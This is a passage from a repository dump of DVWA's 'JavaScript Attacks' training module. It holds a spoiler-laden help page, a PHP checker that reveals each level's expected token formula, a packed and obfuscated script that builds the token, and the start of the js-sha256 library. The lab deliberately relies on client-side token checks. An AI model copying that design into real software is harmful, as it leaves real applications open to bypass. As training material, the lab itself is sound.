source for the included file and then work out what it is doing. Both Firefox and Chrome have a Pretty Print feature which attempts to reverse the compression and display code in a readable way.\n\t\t</p>\n\t\t<pre>Spoiler: <span class=\"spoiler\">The file uses the setTimeout function to run the do_elsesomething function which generates the token.</span></pre>\n\n\t\t<p><br /></p>\n\n\t\t<h3>High Level</h3>\n\t\t<p>\n\t\t\tThe JavaScript has been obfuscated by at least one engine. You are going to need to step through the code to work out what is useful, what is garbage and what is needed to complete the mission.\n\t\t</p>\n\t\t<pre>Spoiler: <span class=\"spoiler\">If it helps, two packers have been used, the first is from <a href=\"https://www.danstools.com/javascript-obfuscate/index.php\">Dan's Tools</a> and the second is the <a href=\"https://javascriptobfuscator.herokuapp.com/\">JavaScript Obfuscator Tool</a>.</span></pre>\n\t\t<pre>Spoiler 2: <span class=\"spoiler\">This deobfuscation tool seems to work the best on this code <a href=\"http://deobfuscatejavascript.com/\">deobfuscate javascript</a>.</span></pre>\n\t\t<pre>Spoiler 3: <span class=\"spoiler\">This is one way to do it... run the obfuscated JS through a deobfuscation app, intercept the response for the obfuscated JS and swap in the readable version. Work out the flow and you will see three functions that need to be called in order. Call the functions at the right time with the right parameters.</pre>\n\n\t\t<p><br /></p>\n\n\t\t<h3>Impossible Level</h3>\n\t\t<p>You can never trust the user and have to assume that any code sent to the user can be manipulated or bypassed and so there is no impossible level.</p>\n\n\t</div>\n\n\t<br />\n\n\t<p>Reference:</p>\n\t<ul>\n\t\t<li><?php echo dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=8UqHCrGdxOM' )?></li>\n\t\t<li><?php echo dvwaExternalLinkUrlGet( 'https://www.w3schools.com/js/' )?></li>\n\t\t<li><?php echo dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=cs7EQdWO5o0&index=17&list=WL' )?></li>\n\t\t<li><?php echo dvwaExternalLinkUrlGet( 'https://www.youtube.com/playlist?list=PLC9K7uaDMdAUNktlDTxsmj6rJBf4Q9TR5' )?></li>\n\t</ul>\n</div>\n"
  },
  {
    "path": "vulnerabilities/javascript/index.php",
    "content": "<?php\n\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup( array( 'authenticated' ) );\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ]   = 'Vulnerability: JavaScript Attacks' . $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'javascript';\n$page[ 'help_button' ]   = 'javascript';\n$page[ 'source_button' ] = 'javascript';\n\ndvwaDatabaseConnect();\n\n$vulnerabilityFile = '';\nswitch( dvwaSecurityLevelGet() ) {\n\tcase 'low':\n\t\t$vulnerabilityFile = 'low.php';\n\t\tbreak;\n\tcase 'medium':\n\t\t$vulnerabilityFile = 'medium.php';\n\t\tbreak;\n\tcase 'high':\n\t\t$vulnerabilityFile = 'high.php';\n\t\tbreak;\n\tdefault:\n\t\t$vulnerabilityFile = 'impossible.php';\n\t\tbreak;\n}\n\n$message = \"\";\n// Check what was sent in to see if it was what was expected\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\tif (array_key_exists (\"phrase\", $_POST) && array_key_exists (\"token\", $_POST)) {\n\n\t\t$phrase = $_POST['phrase'];\n\t\t$token = $_POST['token'];\n\n\t\tif ($phrase == \"success\") {\n\t\t\tswitch( dvwaSecurityLevelGet() ) {\n\t\t\t\tcase 'low':\n\t\t\t\t\tif ($token == md5(str_rot13(\"success\"))) {\n\t\t\t\t\t\t$message = \"<p style='color:red'>Well done!</p>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$message = \"<p>Invalid token.</p>\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'medium':\n\t\t\t\t\tif ($token == strrev(\"XXsuccessXX\")) {\n\t\t\t\t\t\t$message = \"<p style='color:red'>Well done!</p>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$message = \"<p>Invalid token.</p>\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'high':\n\t\t\t\t\tif ($token == hash(\"sha256\", hash(\"sha256\", \"XX\" . strrev(\"success\")) . \"ZZ\")) {\n\t\t\t\t\t\t$message = \"<p style='color:red'>Well done!</p>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$message = \"<p>Invalid token.</p>\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$vulnerabilityFile = 'impossible.php';\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t} else {\n\t\t\t$message = \"<p>You got the phrase wrong.</p>\";\n\t\t}\n\t} else {\n\t\t$message = \"<p>Missing phrase or token.</p>\";\n\t}\n}\n\nif ( dvwaSecurityLevelGet() == \"impossible\" ) {\n$page[ 'body' ] = <<<EOF\n<div class=\"body_padded\">\n\t<h1>Vulnerability: JavaScript Attacks</h1>\n\n\t<div class=\"vulnerable_code_area\">\n\t<p>\n\t\tYou can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.\n\t</p>\nEOF;\n} else {\n$page[ 'body' ] = <<<EOF\n<div class=\"body_padded\">\n\t<h1>Vulnerability: JavaScript Attacks</h1>\n\n\t<div class=\"vulnerable_code_area\">\n\t<p>\n\t\tSubmit the word \"success\" to win.\n\t</p>\n\n\t$message\n\n\t<form name=\"low_js\" method=\"post\">\n\t\t<input type=\"hidden\" name=\"token\" value=\"\" id=\"token\" />\n\t\t<label for=\"phrase\">Phrase</label> <input type=\"text\" name=\"phrase\" value=\"ChangeMe\" id=\"phrase\" />\n\t\t<input type=\"submit\" id=\"send\" name=\"send\" value=\"Submit\" />\n\t</form>\nEOF;\n}\n\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/javascript/source/{$vulnerabilityFile}\";\n\n$page[ 'body' ] .= <<<EOF\n\t</div>\nEOF;\n\n$page[ 'body' ] .= \"\n\t<h2>More Information</h2>\n\t<ul>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.w3schools.com/js/' ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=cs7EQdWO5o0&index=17&list=WL' ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://ponyfoo.com/articles/es6-proxies-in-depth' ) . \"</li>\n\t</ul>\n\t<p><i>Module developed by <a href='https://twitter.com/digininja'>Digininja</a>.</i></p>\n</div>\\n\";\n\ndvwaHtmlEcho( $page );\n\n?>\n"
  },
  {
    "path": "vulnerabilities/javascript/source/high.js",
    "content": "var a=['fromCharCode','toString','replace','BeJ','\\x5cw+','Lyg','SuR','(w(){\\x273M\\x203L\\x27;q\\x201l=\\x273K\\x203I\\x203J\\x20T\\x27;q\\x201R=1c\\x202I===\\x271n\\x27;q\\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\\x202L=!1R&&1c\\x202M===\\x271n\\x27;q\\x202o=!Y.2S&&1c\\x202d===\\x271n\\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\\x20p(2L){Y=2M}q\\x202G=!Y.3Q&&1c\\x202g===\\x271n\\x27&&2g.X;q\\x202s=1c\\x202l===\\x27w\\x27&&2l.3P;q\\x201y=!Y.3H&&1c\\x20Z!==\\x272T\\x27;q\\x20m=\\x273G\\x27.3z(\\x27\\x27);q\\x202w=[-3y,3x,3v,3w];q\\x20U=[24,16,8,0];q\\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\\x201E=[\\x271e\\x27,\\x2727\\x27,\\x271G\\x27,\\x272R\\x27];q\\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\\x204C.Q.2U.1I(1x)===\\x27[1n\\x201z]\\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\\x201c\\x201x===\\x271n\\x27&&1x.1w&&1x.1w.1J===Z}}q\\x202m=w(1X,x){A\\x20w(s){A\\x20O\\x20N(x,1d).S(s)[1X]()}};q\\x202a=w(x){q\\x20P=2m(\\x271e\\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\\x20O\\x20N(x)};P.S=w(s){A\\x20P.1T().S(s)};1g(q\\x20i=0;i<1E.W;++i){q\\x20T=1E[i];P[T]=2m(T,x)}A\\x20P};q\\x202P=w(P,x){q\\x201S=2O(\\x222N(\\x271S\\x27)\\x22);q\\x201Y=2O(\\x222N(\\x271w\\x27).1Y\\x22);q\\x202n=x?\\x271H\\x27:\\x271q\\x27;q\\x202z=w(s){p(1c\\x20s===\\x272p\\x27){A\\x201S.2x(2n).S(s,\\x274S\\x27).1G(\\x271e\\x27)}z{p(s===2q||s===2T){1u\\x20O\\x201t(1l)}z\\x20p(s.1J===Z){s=O\\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\\x201S.2x(2n).S(O\\x201Y(s)).1G(\\x271e\\x27)}z{A\\x20P(s)}};A\\x202z};q\\x202k=w(1X,x){A\\x20w(G,s){A\\x20O\\x201P(G,x,1d).S(s)[1X]()}};q\\x202f=w(x){q\\x20P=2k(\\x271e\\x27,x);P.1T=w(G){A\\x20O\\x201P(G,x)};P.S=w(G,s){A\\x20P.1T(G).S(s)};1g(q\\x20i=0;i<1E.W;++i){q\\x20T=1E[i];P[T]=2k(T,x)}A\\x20P};w\\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\\x202h,T=1c\\x20s;p(T!==\\x272p\\x27){p(T===\\x271n\\x27){p(s===2q){1u\\x20O\\x201t(1l)}z\\x20p(1y&&s.1J===Z){s=O\\x202r(s)}z\\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\\x20O\\x201t(1l)}}}z{1u\\x20O\\x201t(1l)}2h=1d}q\\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\\x201w=O\\x20Z(k.x?28:32);q\\x201i=O\\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\\x201w};w\\x201P(G,x,1v){q\\x20i,T=1c\\x20G;p(T===\\x272p\\x27){q\\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\\x271n\\x27){p(G===2q){1u\\x20O\\x201t(1l)}z\\x20p(1y&&G.1J===Z){G=O\\x202r(G)}z\\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\\x20O\\x201t(1l)}}}z{1u\\x20O\\x201t(1l)}}p(G.W>1k){G=(O\\x20N(x,1d)).S(G).27()}q\\x201F=[],2e=[];1g(i=0;i<1k;++i){q\\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\\x20X})}}})();w\\x202y(e){1g(q\\x20t=\\x22\\x22,n=e.W-1;n>=0;n--)t+=e[n];A\\x20t}w\\x202J(t,y=\\x224B\\x22){1m.1o(\\x221M\\x22).1r=1q(1m.1o(\\x221M\\x22).1r+y)}w\\x202B(e=\\x224E\\x22){1m.1o(\\x221M\\x22).1r=1q(e+1m.1o(\\x221M\\x22).1r)}w\\x202K(a,b){1m.1o(\\x221M\\x22).1r=2y(1m.1o(\\x222F\\x22).1r)}1m.1o(\\x222F\\x22).1r=\\x22\\x22;4u(w(){2B(\\x224M\\x22)},4N);1m.1o(\\x224P\\x22).4Q(\\x224R\\x22,2J);2K(\\x223O\\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\\x5cb'+h(f)+'\\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));\n"
  },
  {
    "path": "vulnerabilities/javascript/source/high.php",
    "content": "<?php\n$page[ 'body' ] .= '<script src=\"' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js\"></script>';\n?>\n"
  },
  {
    "path": "vulnerabilities/javascript/source/high_unobfuscated.js",
    "content": "/**\n * [js-sha256]{@link https://github.com/emn178/js-sha256}\n *\n * @version 0.9.0\n * @author Chen, Yi-Cyuan [emn178@gmail.com]\n * @copyright Chen, Yi-Cyuan 2014-2017\n * @license MIT\n */\n/*jslint bitwise: true */\n(function () {\n  'use strict';\n\n  var ERROR = 'input is invalid type';\n  var WINDOW = typeof window === 'object';\n  var root = WINDOW ? window : {};\n  if (root.JS_SHA256_NO_WINDOW) {\n    WINDOW = false;\n  }\n  var WEB_WORKER = !WINDOW && typeof self === 'object';\n  var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;\n  if (NODE_JS) {\n    root = global;\n  } else if (WEB_WORKER) {\n    root = self;\n  }\n  var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;\n  var AMD = typeof define === 'function' && define.amd;\n  var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';\n  var HEX_CHARS = '0123456789abcdef'.split('');\n  var EXTRA = [-2147483648, 8388608, 32768, 128];\n  var SHIFT = [24, 16, 8, 0];\n  var K = [\n    0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n    0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n    0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n    0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n    0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n    0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n    0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n    0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n  ];\n  var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];\n\n  var blocks = [];\n\n  if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {\n    Array.isArray = function (obj) {\n      return Object.prototype.toString.call(obj) === '[object Array]';\n    };\n  }\n\n  if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {\n    ArrayBuffer.isView = function (obj) {\n      return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer;\n    };\n  }\n\n  var createOutputMethod = function (outputType, is224) {\n    return function (message) {\n      return new Sha256(is224, true).update(message)[outputType]();\n    };\n  };\n\n  var createMethod = function (is224) {\n    var method = createOutputMethod('hex', is224);\n    if (NODE_JS) {\n      method = nodeWrap(method, is224);\n    }\n    method.create = function () {\n      return new Sha256(is224);\n    };\n    method.update = function (message) {\n      return method.create().update(message);\n    };\n    for (var i = 0; i < OUTPUT_TYPES.length; ++i) {\n      var type = OUTPUT_TYPES[i];\n      method[type] = createOutputMethod(type, is224);\n    }\n    return method;\n  };\n\n  var nodeWrap = function (method, is224) {\n    var crypto = eval(\"require('crypto')\");\n    var Buffer = eval(\"require('buffer').Buffer\");\n    var algorithm = is224 ? 'sha224' : 'sha256';\n    var nodeMethod = function (message) {\n      if (typeof message === 'string') {\n        return crypto.createHash(algorithm).update(message, 'utf8').digest('hex');\n      } else {\n        if (message === null || message === undefined) {\n          throw new Error(ERROR);\n        } else if (message.constructor === ArrayBuffer) {\n          message = new Uint8Array(message);\n        }\n      }\n      if (Array.isArray(message) || ArrayBuffer.isView(message) ||\n        message.constructor === Buffer) {\n        return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex');\n      } else {\n        return method(message);\n      }\n    };\n    return nodeMethod;\n  };\n\n  var createHmacOutputMethod = function (outputType, is224) {\n    return function (key, message) {\n      return new HmacSha256(key, is224, true).update(message)[outputType]();\n    };\n  };\n\n  var createHmacMethod = function (is224) {\n    var method = createHmacOutputMethod('hex', is224);\n    method.create = function (key) {\n      return new HmacSha256(key, is224);\n    };\n    method.update = function (key, message) {\n      return method.create(key).update(message);\n    };\n    for (var i = 0; i < OUTPUT_TYPES.length; ++i) {\n      var type = OUTPUT_TYPES[i];\n      method[type] = createHmacOutputMethod(type, is224);\n    }\n    return method;\n  };\n\n  function Sha256(is224, sharedMemory) {\n    if (sharedMemory) {\n      blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] =\n        blocks[4] = blocks[5] = blocks[6] = blocks[7] =\n        blocks[8] = blocks[9] = blocks[10] = blocks[11] =\n        blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;\n      this.blocks = blocks;\n    } else {\n      this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n    }\n\n    if (is224) {\n      this.h0 = 0xc1059ed8;\n      this.h1 = 0x367cd507;\n      this.h2 = 0x3070dd17;\n      this.h3 = 0xf70e5939;\n      this.h4 = 0xffc00b31;\n      this.h5 = 0x68581511;\n      this.h6 = 0x64f98fa7;\n      this.h7 = 0xbefa4fa4;\n    } else { // 256\n      this.h0 = 